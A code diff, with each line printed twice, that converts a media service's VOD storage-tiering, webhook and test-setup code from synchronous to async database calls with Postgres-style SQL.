console.log(`[VodStorage] VOD ${vodId} offloaded to B2: ${key} (${(localSize / 1048576).toFixed(1)} MB)`);
console.log(`[VodStorage] VOD ${vodId} offloaded to B2: ${key} (${(localSize / 1048576).toFixed(1)} MB)`);
return { ok: true, bytes: localSize };
return { ok: true, bytes: localSize };
@@ -576,25 +576,25 @@ function cleanupStaleDownloads() {
@@ -576,25 +576,25 @@ function cleanupStaleDownloads() {
/** Restore an offloaded VOD to local disk. Restoring one served from R2 drops its R2 copy: logged as a demotion. */
/** Restore an offloaded VOD to local disk. Restoring one served from R2 drops its R2 copy: logged as a demotion. */
async function moveToHot(vodId, ctx = {}) {
async function moveToHot(vodId, ctx = {}) {
- const before = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
+ const before = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
const result = await _moveToHot(vodId);
const result = await _moveToHot(vodId);
if (before && providerOf(before) === 'r2') {
if (before && providerOf(before) === 'r2') {
- recordTierDecision({ vod: before, vodId, action: 'demote', from: 'r2', to: 'local', result, trigger: ctx.trigger || 'manual', reason: ctx.reason || 'restored to local disk' });
+ await recordTierDecision({ vod: before, vodId, action: 'demote', from: 'r2', to: 'local', result, trigger: ctx.trigger || 'manual', reason: ctx.reason || 'restored to local disk' });
}
}
return result;
return result;
}
}
async function _moveToHot(vodId) {
async function _moveToHot(vodId) {
- const vod = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
+ const vod = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
if (!vod || !vod.file_path) return { ok: false, error: 'VOD not found' };
if (!vod || !vod.file_path) return { ok: false, error: 'VOD not found' };
// A hold freezes placement: restoring would flip the row to local and drop an R2 copy.
// A hold freezes placement: restoring would flip the row to local and drop an R2 copy.
- if (_held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };
+ if (await _held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };
const key = keyForVod(vod);
const key = keyForVod(vod);
const local = localPathForVod(vod);
const local = localPathForVod(vod);
if (fs.existsSync(local)) {
if (fs.existsSync(local)) {
- _moved(vodId, [], () => db.run("UPDATE vods SET storage_provider = 'local' WHERE id = ?", [vodId]));
+ await _moved(vodId, [], async () => await db.run("UPDATE vods SET storage_provider = 'local' WHERE id = ?", [vodId]));
return { ok: true, already: true };
return { ok: true, already: true };
}
}
@@ -643,7 +643,7 @@ async function _moveToHot(vodId) {
@@ -643,7 +643,7 @@ async function _moveToHot(vodId) {
// Restoring to local keeps the B2 canonical copy; drop any R2 copy.
// Restoring to local keeps the B2 canonical copy; drop any R2 copy.
if (providerOf(vod) === 'r2' && providerConfigured('r2')) await deleteObject('r2', key);
if (providerOf(vod) === 'r2' && providerConfigured('r2')) await deleteObject('r2', key);
- _moved(vodId, [], () => db.run("UPDATE vods SET storage_provider = 'local' WHERE id = ?", [vodId]));
+ await _moved(vodId, [], async () => await db.run("UPDATE vods SET storage_provider = 'local' WHERE id = ?", [vodId]));
console.log(`[VodStorage] VOD ${vodId} restored to local (${(head.size / 1048576).toFixed(1)} MB)`);
console.log(`[VodStorage] VOD ${vodId} restored to local (${(head.size / 1048576).toFixed(1)} MB)`);
return { ok: true, bytes: head.size };
return { ok: true, bytes: head.size };
} catch (err) {
} catch (err) {
@@ -657,17 +657,17 @@ async function _moveToHot(vodId) {
@@ -657,17 +657,17 @@ async function _moveToHot(vodId) {
* ctx { trigger: sweep | admin | drill | manual, reason } says who asked and why.
* ctx { trigger: sweep | admin | drill | manual, reason } says who asked and why.
*/
*/
async function promoteToR2(vodId, ctx = {}) {
async function promoteToR2(vodId, ctx = {}) {
- const before = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
+ const before = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
const result = await _promoteToR2(vodId);
const result = await _promoteToR2(vodId);
- recordTierDecision({ vod: before, vodId, action: 'promote', from: before ? providerOf(before) : null, to: 'r2', result, ...ctx });
+ await recordTierDecision({ vod: before, vodId, action: 'promote', from: before ? providerOf(before) : null, to: 'r2', result, ...ctx });
return result;
return result;
}
}
async function _promoteToR2(vodId) {
async function _promoteToR2(vodId) {
- const vod = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
+ const vod = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
if (!vod || !vod.file_path) return { ok: false, error: 'VOD not found' };
if (!vod || !vod.file_path) return { ok: false, error: 'VOD not found' };
if (vod.is_recording) return { ok: false, error: 'VOD is currently recording' };
if (vod.is_recording) return { ok: false, error: 'VOD is currently recording' };
- if (_held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };
+ if (await _held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };
if (!providerConfigured('r2') || providerHealthy.r2 === false) return { ok: false, error: 'R2 not available' };
if (!providerConfigured('r2') || providerHealthy.r2 === false) return { ok: false, error: 'R2 not available' };
if (!providerConfigured('b2')) return { ok: false, error: 'B2 not configured' };
if (!providerConfigured('b2')) return { ok: false, error: 'B2 not configured' };
@@ -690,14 +690,14 @@ async function _promoteToR2(vodId) {
@@ -690,14 +690,14 @@ async function _promoteToR2(vodId) {
else await copyBetweenProviders('b2', 'r2', key);
else await copyBetweenProviders('b2', 'r2', key);
}
}
- _moved(vodId, ['b2', 'r2'], () => db.run("UPDATE vods SET storage_provider = 'r2', storage_key = ? WHERE id = ?", [key, vodId]));
+ await _moved(vodId, ['b2', 'r2'], async () => await db.run("UPDATE vods SET storage_provider = 'r2', storage_key = ? WHERE id = ?", [key, vodId]));
// Popular VODs live in R2+B2; free the local copy
// Popular VODs live in R2+B2; free the local copy
let freed = 0;
let freed = 0;
if (fs.existsSync(local)) {
if (fs.existsSync(local)) {
freed = fs.statSync(local).size;
freed = fs.statSync(local).size;
try { fs.unlinkSync(local); cleanupSidecar(local); } catch { freed = 0; }
try { fs.unlinkSync(local); cleanupSidecar(local); } catch { freed = 0; }
- if (freed) _localRemoved(vodId);
+ if (freed) await _localRemoved(vodId);
}
}
console.log(`[VodStorage] VOD ${vodId} promoted to R2: ${key}`);
console.log(`[VodStorage] VOD ${vodId} promoted to R2: ${key}`);
@@ -710,17 +710,17 @@ async function _promoteToR2(vodId) {
@@ -710,17 +710,17 @@ async function _promoteToR2(vodId) {
/** Demote an R2 VOD back to B2-only, and log the decision (ctx as for promoteToR2). */
/** Demote an R2 VOD back to B2-only, and log the decision (ctx as for promoteToR2). */
async function demoteFromR2(vodId, ctx = {}) {
async function demoteFromR2(vodId, ctx = {}) {
- const before = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
+ const before = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
const result = await _demoteFromR2(vodId);
const result = await _demoteFromR2(vodId);
- recordTierDecision({ vod: before, vodId, action: 'demote', from: before ? providerOf(before) : null, to: 'b2', result, ...ctx });
+ await recordTierDecision({ vod: before, vodId, action: 'demote', from: before ? providerOf(before) : null, to: 'b2', result, ...ctx });
return result;
return result;
}
}
async function _demoteFromR2(vodId) {
async function _demoteFromR2(vodId) {
- const vod = db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
+ const vod = await db.get('SELECT * FROM vods WHERE id = ?', [vodId]);
if (!vod) return { ok: false, error: 'VOD not found' };
if (!vod) return { ok: false, error: 'VOD not found' };
if (providerOf(vod) !== 'r2') return { ok: true, already: true };
if (providerOf(vod) !== 'r2') return { ok: true, already: true };
- if (_held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };
+ if (await _held(vod)) return { ok: false, held: true, error: 'VOD is under a retention hold' };
const key = keyForVod(vod);
const key = keyForVod(vod);
try {
try {
@@ -731,7 +731,7 @@ async function _demoteFromR2(vodId) {
@@ -731,7 +731,7 @@ async function _demoteFromR2(vodId) {
if (!copied) return { ok: false, error: 'No B2 canonical and copy-back failed' };
if (!copied) return { ok: false, error: 'No B2 canonical and copy-back failed' };
}
}
await deleteObject('r2', key);
await deleteObject('r2', key);
- _moved(vodId, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2' WHERE id = ?", [vodId]));
+ await _moved(vodId, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2' WHERE id = ?", [vodId]));
console.log(`[VodStorage] VOD ${vodId} demoted from R2 to B2`);
console.log(`[VodStorage] VOD ${vodId} demoted from R2 to B2`);
return { ok: true };
return { ok: true };
} catch (err) {
} catch (err) {
@@ -743,7 +743,7 @@ async function _demoteFromR2(vodId) {
@@ -743,7 +743,7 @@ async function _demoteFromR2(vodId) {
async function deleteVodObjects(vod) {
async function deleteVodObjects(vod) {
if (!vod?.file_path) return;
if (!vod?.file_path) return;
// Last line of defence for every delete path: a held object keeps its bytes.
// Last line of defence for every delete path: a held object keeps its bytes.
- if (_held(vod)) { console.warn(`[VodStorage] Not deleting media of ${vod.object_id}: under a retention hold`); return; }
+ if (await _held(vod)) { console.warn(`[VodStorage] Not deleting media of ${vod.object_id}: under a retention hold`); return; }
const local = localPathForVod(vod);
const local = localPathForVod(vod);
if (fs.existsSync(local)) {
if (fs.existsSync(local)) {
try { fs.unlinkSync(local); } catch { /* ignore */ }
try { fs.unlinkSync(local); } catch { /* ignore */ }
@@ -810,9 +810,9 @@ const OFFLOADABLE_WHERE = `
@@ -810,9 +810,9 @@ const OFFLOADABLE_WHERE = `
AND file_path IS NOT NULL
AND file_path IS NOT NULL
AND COALESCE(health_status, 'ok') NOT IN ('missing_file', 'zero_byte')`;
AND COALESCE(health_status, 'ok') NOT IN ('missing_file', 'zero_byte')`;
-function quarantineMissing(vodId, reason) {
+async function quarantineMissing(vodId, reason) {
try {
try {
- objects().withObject('vod', vodId, () => db.run(`UPDATE vods
+ await objects().withObject('vod', vodId, async () => await db.run(`UPDATE vods
SET health_status = 'missing_file',
SET health_status = 'missing_file',
health_issues_json = ?,
health_issues_json = ?,
last_health_scan_at = datetime('now'),
last_health_scan_at = datetime('now'),
@@ -829,18 +829,18 @@ function quarantineMissing(vodId, reason) {
@@ -829,18 +829,18 @@ function quarantineMissing(vodId, reason) {
* an hour old — by then the recorder would have opened the file if it ever was going
* an hour old — by then the recorder would have opened the file if it ever was going
* to. Returns how many rows were newly quarantined.
* to. Returns how many rows were newly quarantined.
*/
*/
-function reconcileGhosts() {
+async function reconcileGhosts() {
try {
try {
// The rows and their objects (-> failed) in one transaction.
// The rows and their objects (-> failed) in one transaction.
- const ids = objects().withObject('vod', (found) => found, () => {
- const found = db.all(`SELECT id FROM vods
+ const ids = await objects().withObject('vod', (found) => found, async () => {
+ const found = (await db.all(`SELECT id FROM vods
WHERE COALESCE(storage_provider, 'local') = 'local'
WHERE COALESCE(storage_provider, 'local') = 'local'
AND COALESCE(is_recording, 0) = 0
AND COALESCE(is_recording, 0) = 0
AND file_path IS NULL
AND file_path IS NULL
AND created_at <= datetime('now', '-1 hour')
AND created_at <= datetime('now', '-1 hour')
- AND COALESCE(health_status, 'ok') NOT IN ('missing_file', 'zero_byte')`).map(r => r.id);
+ AND COALESCE(health_status, 'ok') NOT IN ('missing_file', 'zero_byte')`)).map(r => r.id);
if (found.length) {
if (found.length) {
- db.run(`UPDATE vods
+ await db.run(`UPDATE vods
SET health_status = 'missing_file',
SET health_status = 'missing_file',
health_issues_json = ?,
health_issues_json = ?,
last_health_scan_at = datetime('now'),
last_health_scan_at = datetime('now'),
@@ -926,12 +926,12 @@ async function emitStorageEvent(event, kind, data, settings = getSettings()) {
@@ -926,12 +926,12 @@ async function emitStorageEvent(event, kind, data, settings = getSettings()) {
let eventId = null;
let eventId = null;
try {
try {
const events = require('../events');
const events = require('../events');
- const env = db.getDb().transaction(() => events.record(event, null, payload))();
+ const env = await db.getDb().tx(async () => await events.record(event, null, payload));
eventId = env ? env.event_id : null;
eventId = env ? env.event_id : null;
events.kick();
events.kick();
} catch (err) { console.warn(`[VodStorage] ${event} not queued for Events:`, err.message); }
} catch (err) { console.warn(`[VodStorage] ${event} not queued for Events:`, err.message); }
let apps = [];
let apps = [];
- try { apps = db.listApps().filter(a => a.webhook_url); } catch { apps = []; }
+ try { apps = (await db.listApps()).filter(a => a.webhook_url); } catch { apps = []; }
let webhooks;
let webhooks;
try { webhooks = require('../webhooks'); } catch { return false; }
try { webhooks = require('../webhooks'); } catch { return false; }
await Promise.all(apps.map(app => webhooks.sendWebhook(app.app_id, event, payload, { eventId }).catch(() => false)));
await Promise.all(apps.map(app => webhooks.sendWebhook(app.app_id, event, payload, { eventId }).catch(() => false)));
@@ -955,7 +955,7 @@ async function runSweep() {
@@ -955,7 +955,7 @@ async function runSweep() {
const disk = diskUsage(config.vod.path);
const disk = diskUsage(config.vod.path);
const underPressure = needsDrain(disk, settings);
const underPressure = needsDrain(disk, settings);
const critical = isCritical(disk, settings);
const critical = isCritical(disk, settings);
- const ghosts = reconcileGhosts();
+ const ghosts = await reconcileGhosts();
// 1) Cold offload to B2
// 1) Cold offload to B2
let candidates;
let candidates;
@@ -963,7 +963,7 @@ async function runSweep() {
@@ -963,7 +963,7 @@ async function runSweep() {
const minAge = critical ? `-${settings.criticalMinAgeHours} hours` : '-1 day';
const minAge = critical ? `-${settings.criticalMinAgeHours} hours` : '-1 day';
console.log(`[VodStorage] Disk at ${disk.usePct}%, ${(disk.available / GB).toFixed(1)} GB free (${critical ? 'CRITICAL' : 'pressure'}) — draining to ≤${settings.localLowWaterPct}% / ≥${settings.targetFreeGb} GB free`
console.log(`[VodStorage] Disk at ${disk.usePct}%, ${(disk.available / GB).toFixed(1)} GB free (${critical ? 'CRITICAL' : 'pressure'}) — draining to ≤${settings.localLowWaterPct}% / ≥${settings.targetFreeGb} GB free`
+ (ghosts ? `; quarantined ${ghosts} file-less VOD row(s)` : ''));
+ (ghosts ? `; quarantined ${ghosts} file-less VOD row(s)` : ''));
- candidates = db.all(`
+ candidates = await db.all(`
SELECT id, file_path, file_size FROM vods
SELECT id, file_path, file_size FROM vods
WHERE ${OFFLOADABLE_WHERE}
WHERE ${OFFLOADABLE_WHERE}
AND created_at <= datetime('now', ?)
AND created_at <= datetime('now', ?)
@@ -972,7 +972,7 @@ async function runSweep() {
@@ -972,7 +972,7 @@ async function runSweep() {
`, [minAge]);
`, [minAge]);
} else {
} else {
if (ghosts) console.log(`[VodStorage] Quarantined ${ghosts} file-less VOD row(s)`);
if (ghosts) console.log(`[VodStorage] Quarantined ${ghosts} file-less VOD row(s)`);
- candidates = db.all(`
+ candidates = await db.all(`
SELECT id, file_path, file_size FROM vods
SELECT id, file_path, file_size FROM vods
WHERE ${OFFLOADABLE_WHERE}
WHERE ${OFFLOADABLE_WHERE}
AND created_at <= datetime('now', ?)
AND created_at <= datetime('now', ?)
@@ -993,9 +993,9 @@ async function runSweep() {
@@ -993,9 +993,9 @@ async function runSweep() {
if (!fs.existsSync(localPathForVod(vod))) {
if (!fs.existsSync(localPathForVod(vod))) {
const key = keyForVod(vod);
const key = keyForVod(vod);
if (await headObject('b2', key).catch(() => null)) {
if (await headObject('b2', key).catch(() => null)) {
- _moved(vod.id, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vod.id]));
+ await _moved(vod.id, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vod.id]));
} else {
} else {
- quarantineMissing(vod.id, `file not found at ${localPathForVod(vod)}`);
+ await quarantineMissing(vod.id, `file not found at ${localPathForVod(vod)}`);
quarantined++;
quarantined++;
}
}
continue;
continue;
@@ -1068,7 +1068,7 @@ async function runSweep() {
@@ -1068,7 +1068,7 @@ async function runSweep() {
// 2) R2 promotion for popular VODs
// 2) R2 promotion for popular VODs
if (settings.r2Enabled && providerConfigured('r2') && providerHealthy.r2 !== false) {
if (settings.r2Enabled && providerConfigured('r2') && providerHealthy.r2 !== false) {
- const popular = db.all(`
+ const popular = await db.all(`
SELECT id, view_count, last_accessed_at FROM vods
SELECT id, view_count, last_accessed_at FROM vods
WHERE COALESCE(storage_provider, 'local') IN ('local', 'b2')
WHERE COALESCE(storage_provider, 'local') IN ('local', 'b2')
AND COALESCE(is_recording, 0) = 0
AND COALESCE(is_recording, 0) = 0
@@ -1086,7 +1086,7 @@ async function runSweep() {
@@ -1086,7 +1086,7 @@ async function runSweep() {
}
}
// 3) R2 demotion for stale VODs
// 3) R2 demotion for stale VODs
- const stale = db.all(`
+ const stale = await db.all(`
SELECT id, last_accessed_at FROM vods
SELECT id, last_accessed_at FROM vods
WHERE storage_provider = 'r2'
WHERE storage_provider = 'r2'
AND (last_accessed_at IS NULL OR last_accessed_at <= datetime('now', ?))
AND (last_accessed_at IS NULL OR last_accessed_at <= datetime('now', ?))
@@ -1179,7 +1179,7 @@ async function checkProviders() {
@@ -1179,7 +1179,7 @@ async function checkProviders() {
*/
*/
async function migrateLegacy() {
async function migrateLegacy() {
if (!providerConfigured('b2')) return;
if (!providerConfigured('b2')) return;
- const legacy = db.all(`
+ const legacy = await db.all(`
SELECT id, file_path FROM vods
SELECT id, file_path FROM vods
WHERE storage_tier = 'cold' AND COALESCE(storage_provider, 'local') = 'local'
WHERE storage_tier = 'cold' AND COALESCE(storage_provider, 'local') = 'local'
`);
`);
@@ -1190,7 +1190,7 @@ async function migrateLegacy() {
@@ -1190,7 +1190,7 @@ async function migrateLegacy() {
try {
try {
const head = await headObject('b2', key);
const head = await headObject('b2', key);
if (head) {
if (head) {
- _moved(vod.id, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vod.id]));
+ await _moved(vod.id, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = ? WHERE id = ?", [key, vod.id]));
flipped++;
flipped++;
} else if (fs.existsSync(localPathForVod(vod))) {
} else if (fs.existsSync(localPathForVod(vod))) {
restoredLocal++; // still local, sweep will re-offload
restoredLocal++; // still local, sweep will re-offload
@@ -1388,27 +1388,27 @@ function sweepInfo() {
@@ -1388,27 +1388,27 @@ function sweepInfo() {
};
};
}
}
-function getStatus() {
+async function getStatus() {
const settings = getSettings();
const settings = getSettings();
const localDisk = diskUsage(config.vod.path);
const localDisk = diskUsage(config.vod.path);
const localStats = dirStats(config.vod.path);
const localStats = dirStats(config.vod.path);
- const counts = db.get(`
+ const counts = await db.get(`
SELECT
SELECT
- SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) as localCount,
+ SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) as "localCount",
SUM(CASE WHEN storage_provider = 'b2' THEN 1 ELSE 0 END) as b2Count,
SUM(CASE WHEN storage_provider = 'b2' THEN 1 ELSE 0 END) as b2Count,
SUM(CASE WHEN storage_provider = 'r2' THEN 1 ELSE 0 END) as r2Count,
SUM(CASE WHEN storage_provider = 'r2' THEN 1 ELSE 0 END) as r2Count,
- SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN file_size ELSE 0 END) as localBytes,
- SUM(CASE WHEN storage_provider = 'b2' THEN file_size ELSE 0 END) as b2Bytes,
- SUM(CASE WHEN storage_provider = 'r2' THEN file_size ELSE 0 END) as r2Bytes
+ SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN file_size ELSE 0 END)::bigint as "localBytes",
+ SUM(CASE WHEN storage_provider = 'b2' THEN file_size ELSE 0 END)::bigint as b2Bytes,
+ SUM(CASE WHEN storage_provider = 'r2' THEN file_size ELSE 0 END)::bigint as r2Bytes
FROM vods
FROM vods
`) || {};
`) || {};
let clipCounts = {};
let clipCounts = {};
try {
try {
- clipCounts = db.get(`
+ clipCounts = await db.get(`
SELECT
SELECT
- SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) as localCount,
+ SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) as "localCount",
SUM(CASE WHEN storage_provider = 'b2' THEN 1 ELSE 0 END) as b2Count,
SUM(CASE WHEN storage_provider = 'b2' THEN 1 ELSE 0 END) as b2Count,
SUM(CASE WHEN storage_provider = 'r2' THEN 1 ELSE 0 END) as r2Count
SUM(CASE WHEN storage_provider = 'r2' THEN 1 ELSE 0 END) as r2Count
FROM clips
FROM clips
@@ -1509,7 +1509,7 @@ if (require.main === module) {
@@ -1509,7 +1509,7 @@ if (require.main === module) {
const cmd = process.argv[2];
const cmd = process.argv[2];
if (cmd === 'check') {
if (cmd === 'check') {
await checkProviders();
await checkProviders();
- console.log(JSON.stringify(getStatus().tiers, null, 2));
+ console.log(JSON.stringify((await getStatus()).tiers, null, 2));
process.exit(0);
process.exit(0);
}
}
if (cmd === 'migrate-legacy') {
if (cmd === 'migrate-legacy') {
@@ -1525,7 +1525,7 @@ if (require.main === module) {
@@ -1525,7 +1525,7 @@ if (require.main === module) {
const disk = diskUsage(config.vod.path);
const disk = diskUsage(config.vod.path);
console.log(`[VodStorage] Disk at ${disk.usePct}%`);
console.log(`[VodStorage] Disk at ${disk.usePct}%`);
if (disk.usePct <= target) break;
if (disk.usePct <= target) break;
- const eligible = db.all(`
+ const eligible = await db.all(`
SELECT id FROM vods
SELECT id FROM vods
WHERE COALESCE(storage_provider, 'local') = 'local'
WHERE COALESCE(storage_provider, 'local') = 'local'
AND COALESCE(is_recording, 0) = 0
AND COALESCE(is_recording, 0) = 0
@@ -53,7 +53,7 @@ async function sendWebhook(appOrId, event, data, { eventId = null } = {}) {
@@ -53,7 +53,7 @@ async function sendWebhook(appOrId, event, data, { eventId = null } = {}) {
if (require('./drill').enabled) return false;
if (require('./drill').enabled) return false;
let app = appOrId;
let app = appOrId;
if (typeof appOrId === 'string') {
if (typeof appOrId === 'string') {
- try { app = db.getApp(appOrId); } catch { app = null; }
+ try { app = await db.getApp(appOrId); } catch { app = null; }
}
}
if (!app || !app.webhook_url) return false;
if (!app || !app.webhook_url) return false;
@@ -85,16 +85,16 @@ async function sendWebhook(appOrId, event, data, { eventId = null } = {}) {
@@ -85,16 +85,16 @@ async function sendWebhook(appOrId, event, data, { eventId = null } = {}) {
* app's webhook is sent with the same event_id. Returns { data, eventId }; throws (nothing changed,
* app's webhook is sent with the same event_id. Returns { data, eventId }; throws (nothing changed,
* nothing queued, no webhook) when the transaction fails.
* nothing queued, no webhook) when the transaction fails.
*/
*/
-function announce(appId, event, { change = null, payload }) {
+async function announce(appId, event, { change = null, payload }) {
const events = require('./events');
const events = require('./events');
let data = null;
let data = null;
let env = null;
let env = null;
- db.getDb().transaction(() => {
- if (change) change();
- data = typeof payload === 'function' ? payload() : payload;
- env = events.record(event, appId, data);
- events.recordObjectChanges(); // a row the change deleted: media.object.deleted, same transaction
- })();
+ await db.getDb().tx(async () => {
+ if (change) await change();
+ data = typeof payload === 'function' ? await payload() : payload;
+ env = await events.record(event, appId, data);
+ await events.recordObjectChanges(); // a row the change deleted: media.object.deleted, same transaction
+ });
events.kick();
events.kick();
const eventId = env ? env.event_id : null;
const eventId = env ? env.event_id : null;
sendWebhook(appId, event, data, { eventId }).catch(() => {});
sendWebhook(appId, event, data, { eventId }).catch(() => {});
@@ -11,71 +11,73 @@ const fs = require('fs');
@@ -11,71 +11,73 @@ const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-account-data-'));
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.MEDIA_INBOUND_EVENTS_SECRET = 'm'.repeat(40);
-const log = console.log;
-console.log = (...a) => { if (!/^\[/.test(String(a[0]))) log(...a); };
-console.warn = () => {};
-const { validate } = require('openvibe-contracts');
-const accountData = require('../server/account-data');
-const db = require('../server/db/database').getDb();
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-account-data-'));
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.MEDIA_INBOUND_EVENTS_SECRET = 'm'.repeat(40);
+ const log = console.log;
+ console.log = (...a) => { if (!/^\[/.test(String(a[0]))) log(...a); };
+ console.warn = () => {};
+ const { validate } = require('openvibe-contracts');
+ const accountData = require('../server/account-data');
+ const db = require('../server/db/database').getDb();
-const DANA = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3', OLD = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2B4', XENA = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2C5';
-const obj = db.prepare("INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, visibility, lifecycle_status, legacy_ref) VALUES (?, 'live', 'live', ?, ?, 'public', 'ready', ?)");
-obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D1', 'file', DANA, null); // native: soft-deleted
-obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D2', 'file', OLD, null); // native, merged-in alias: soft-deleted
-obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D3', 'file', DANA, null); // held: kept
-obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D4', 'vod', DANA, 'legacy:live:vod:7'); // VOD: removed
-obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D5', 'clip', DANA, 'legacy:live:clip:9'); // clip: removed
-obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D6', 'thumbnail', DANA, 'legacy:live:thumb:7'); // thumbnail: marked deleted
-obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D7', 'screenshot', DANA, 'legacy:live:paste:abc'); // frozen paste: kept
-obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D8', 'file', XENA, null); // someone else's
-db.prepare("INSERT INTO media_holds (object_id, kind, reason) VALUES ('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D3', 'moderation', 'report under review')").run();
-const vodFile = path.join(tmp, 'vod7.mp4'); fs.writeFileSync(vodFile, 'x');
-const clipFile = path.join(tmp, 'clip9.mp4'); fs.writeFileSync(clipFile, 'y');
-db.prepare("INSERT INTO vods (id, app_id, user_id, title, stream_key, storage_key, file_path, object_id) VALUES (7, 'live', 20, 'my stream', 'sk_secret', 'b2/secret/key', ?, 'med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D4')").run(vodFile);
-db.prepare("INSERT INTO clips (id, app_id, user_id, vod_id, title, file_path, object_id) VALUES (9, 'live', 20, 7, 'my clip', ?, 'med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D5')").run(clipFile);
+ const DANA = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3', OLD = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2B4', XENA = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2C5';
+ const obj = db.prepare("INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, visibility, lifecycle_status, legacy_ref) VALUES (?, 'live', 'live', ?, ?, 'public', 'ready', ?)");
+ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D1', 'file', DANA, null); // native: soft-deleted
+ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D2', 'file', OLD, null); // native, merged-in alias: soft-deleted
+ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D3', 'file', DANA, null); // held: kept
+ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D4', 'vod', DANA, 'legacy:live:vod:7'); // VOD: removed
+ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D5', 'clip', DANA, 'legacy:live:clip:9'); // clip: removed
+ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D6', 'thumbnail', DANA, 'legacy:live:thumb:7'); // thumbnail: marked deleted
+ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D7', 'screenshot', DANA, 'legacy:live:paste:abc'); // frozen paste: kept
+ await obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D8', 'file', XENA, null); // someone else's
+ await db.prepare("INSERT INTO media_holds (object_id, kind, reason) VALUES ('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D3', 'moderation', 'report under review') RETURNING id").run();
+ const vodFile = path.join(tmp, 'vod7.mp4'); fs.writeFileSync(vodFile, 'x');
+ const clipFile = path.join(tmp, 'clip9.mp4'); fs.writeFileSync(clipFile, 'y');
+ await db.prepare("INSERT INTO vods (id, app_id, user_id, title, stream_key, storage_key, file_path, object_id) OVERRIDING SYSTEM VALUE VALUES (7, 'live', 20, 'my stream', 'sk_secret', 'b2/secret/key', ?, 'med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D4') RETURNING id").run(vodFile);
+ await db.prepare("INSERT INTO clips (id, app_id, user_id, vod_id, title, file_path, object_id) OVERRIDING SYSTEM VALUE VALUES (9, 'live', 20, 7, 'my clip', ?, 'med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D5') RETURNING id").run(clipFile);
-const ev = (type, payload) => ({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2E1', event_type: type, version: 1, source: 'network', visibility: 'internal', timestamp: new Date().toISOString(), payload });
+ const ev = (type, payload) => ({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2E1', event_type: type, version: 1, source: 'network', visibility: 'internal', timestamp: new Date().toISOString(), payload });
-(async () => {
- const sent = [];
- let failNext = false;
- const send = async (p, body) => { if (failNext) { failNext = false; return { ok: false, status: 503 }; } sent.push({ path: p, body }); return { ok: true, status: 200 }; };
- try {
- assert.ok(require('../server/revocations').TOPICS.includes('network.account.deleted'), 'Media subscribes');
- // ── Export ──
